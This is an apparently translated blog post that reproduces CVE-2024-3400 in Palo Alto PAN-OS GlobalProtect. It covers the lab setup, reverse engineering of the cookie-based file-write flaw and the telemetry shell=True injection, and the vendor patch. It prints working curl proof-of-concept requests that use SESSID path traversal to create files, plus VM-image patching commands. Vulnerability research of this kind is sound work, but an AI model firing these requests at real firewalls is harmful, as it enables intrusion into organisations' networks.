in ,

CVE-2024-3400 Palo Alto Networks PAN-OS command injection vulnerability


TL; DR

On April 12th I saw that paloaltonetworks has aSecurity Notice(^1), the CVE number is CVE-2024-3400, the vulnerability is a command injection, and the affected versions are as follows:

image.png

Then during the recurrence process, I discovered watchTowr Labs(^2) I have already sent their analysis, so let’s follow their analysis and learn about this hole. Here I mention that my reproduction version is 10.2.9

Environment setup

As mentioned in the vulnerability notice (^1), the impact of this vulnerability requires PAN-OS to configure GlobalProtect portal or GlobalProtect gateway, so we need to completely set up our environment first.

Let me briefly talk about the configuration process. My configuration here is based on the environment configuration of the QWB S6 Final Pan topic (luckily I can still find the virtual machine for this topic). In addition, I would like to mention the CVE-2021-3064 exploited by the Qiangnet Cup at that time. This loophole is quite interesting.

First, my virtual machine has three network cards,

image.png

Network card 1 is the management port, and network card 2 is intended to be used as the network segment of the portal and gateway. The network segment I use here is 192.168.100.1/24.After logging in to the backend of the management port, set the

  • NETWORK->接口 Set the Ethernet interface, set the interface type to Layer 3, and set the static IP of IPV4

image.png

  • DEVICE->证书管理->证书generate RootCert based on RootCert Distribute one gp_cer

image.png

  • DEVICE->证书管理-> SSL/TLS 服务配置文件 in accordance with gp_cert Configuration SSL_PROFILE

image.png

  • then to NETWORK->GlobalProtect->门户 Configuring the portal, there may be something missing in the middle. I will post my configuration items here. Just make up for whatever is missing.

image.png

image.png

  • NETWORK->GlobalProtect->网关 The gateway configuration is similar.

image.png

image.png

Then now in another virtual machine, set up the same 192.168.100.1/24 network segment network card, and you can access the portal.

image.png

Since there is no so-called device certificate, this vulnerability can command the execution of the mentioned telemetry Function is unavailable

image.png

access https://192.168.1.101/ssl-vpn/hipreport.esp that is https://192.168.1.101/ssl-vpn/hipreport.esp return

image.png

The shell and file system were obtained directly using the method provided by Larryxi(^3) during QWB at that time.

  • patch vmem gets local shell
    • sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
    • sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem
  • To view the firmware content, just mount vmdk
    j
    1
    2
    3
    sudo modprobe nbd
    sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
    sudo mount /dev/nbd1p2 /mnt/panos/

OK admin After the user logs in, there is a shell with root permissions. Later, you can also use ssh to log in for debugging and the like.

Vulnerability analysis

The trigger path of the vulnerability has been mentioned in the (^1) article. First of all, gpsvc The file will have an arbitrary file written when processing the Cookie field, followed by telemetry Functional scheduled tasks device_telemetry_send will use /usr/local/bin/dt_send When sending data, the file name will be spliced ​​into the command, causing command injection.

Let’s briefly analyze it in turn

gpsvc arbitrary file writing analysis

pass netstat command, we can see gpsvc Listening on port 20277,

image.png

Viewing /etc/nginx/sslvpn/localtion.conf In the configuration file, we see the following configuration

image.png

You can see that some interfaces related to ssl-vpn are forwarded to port 20177 through the nginx proxy, which is processed in the gpsvc program.

Reverse analysis

We took out the program to analyze. The bad news is that this program is written in golang and seems to have symbols. Moreover, we already know the approximate location of the vulnerability, which can be found directly by main__ptr_SessDiskStore_New function

In this function we can see an operation that uses the value in the cookie and then concatenates the file name.

image.png

For example, we set a breakpoint at line 146, and then trigger it using the following PoC:

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../tmp/hacked' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

arrivemain__ptr_SessDiskStore_New The backtrace of the function is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) bt
#0 main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1 0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/(email protected)/sessions.go:139
#2 0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3 0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4 0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5 0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6 0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7 0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
at /usr/local/go/src/net/http/server.go:2036
#8 0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/(email protected)/mux.go:210
#9 0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

image.png

At this point you can see $rdi->array Stores the relevant characters of our payload: session_/../../../tmp/hackedwe walk step by step until we callmain_loadSessFile function location

image.png

image.png

(After analyzing this, I suddenly realized that it was an old version of golang API call. After searching the string, I found that his golang version was 1.13.15)

1
.rodata:0000000000C956F6 aGo11315        db 'go1.13.15'  

can be seen /../ Related characters arepath_filepath_JoinThe function has been removed after processing. The question arises, where was the file created?

we found syscall_Open function, perform a reference search on it, and find such a call chain

1
main_loadSessFile->main_fileLock->syscall_Open

And at this time main_loadSessFile The parameter is the file we want to create

image.png

image.png

open is defined as int open(const char *pathname, int flags, mode_t mode); The second parameter is flags. When the value is 0x40, it is O_CREAT

O_CREAT defined at fcntl.h file, which can be seen in the linux kernel code (^4),

1
2
3
4
5
6
#define O_ACCMODE	00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#ifndef O_CREAT
#define O_CREAT 00000100

O_CREAT The value is usually 0100, which is an octal value, equivalent to 64 in decimal and 0x40 in hexadecimal. Find relevant information (^5)

image.png
It is found that the file will only be created if the file does not exist.

For example, use the following payload to try to create /etc/passwd when

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../etc/passwd' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

You can see that open returns 0

image.png

This vulnerability creates a file with an arbitrary path and a controllable file name (the file cannot be overwritten). So how did the attacker combine such a vulnerability into a command for execution?This must be mentioned telemetry Functional

telemetry command file analysis

According to the official website (^5), this function is a function that regularly sends data to the remote end.Environment setupTurning on the mentioned function requires a device certificate, which is not supported in my current reproduction environment.We can only analyze the analysis function

exist /etc/cron.d You can see a lot of and telemetry Related scheduled tasks

image.png

in /usr/local/bin/dt_send It seems to be used to send data

image.png

This program is written in python. You can see that it simply determines whether the function is enabled, and then calls check_and_send function

image.png

check_and_send The function will then be called send_file_dirs_all

image.png

can be seen send_file_dirs_all The function will traverse DEFAULT_DEVTELEM_OUTPUT_DIR file, and then call send_file_dir

image.png

And in send_file_dir In the function, use send_file function
image.png

exist send_file In the function, the file name will be spliced ​​into send_file_cmd Traversing

image.png

Then call cmd_status = techsupport.dosys(send_file_cmd, None) run dt_curl command, which is also a python program,

dt_curl will be called send_file function

image.png

In this function, you can splice the commands using pansys(curl_cmd, shell=True, timeout=250) Function call, pay attention here shell=True

image.png

image.png

The last call here is /opt/plugins/2.0/python-lib/pan/pansys/pansys.py in the file dosys

image.png

You can see it hereshellThe parameter defaults to False but becausesend_file The call is passed in and set to True, so command injection is possible.

Diff Patch

image-20240420215633491

Added a new seesion check function?
image.png

From the log, you can see that a check has been added {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

It happens to be what this patch added, judging from the compilation path

1
2
3
4
(gdb) bt
#0 main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1 0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

fixed shell=True The problem
image.png

think

An empty file is created until the command is executed. The attacker must have spent a lot of time looking for this function. In addition, the exploitation of this vulnerability currently needs to be enabled.telemetry function, so is there any place that can be created using this empty file?There may be such a large system. If you have time, you can take a closer look.

image.png

(^1): CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400
(^2): palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
(^3): Larryx's blog https://aslr.io/about/
(^4): fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24
(^5): device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

A French hospital was forced to reschedule procedures after cyberattack

A French hospital was forced to reschedule procedures after cyberattack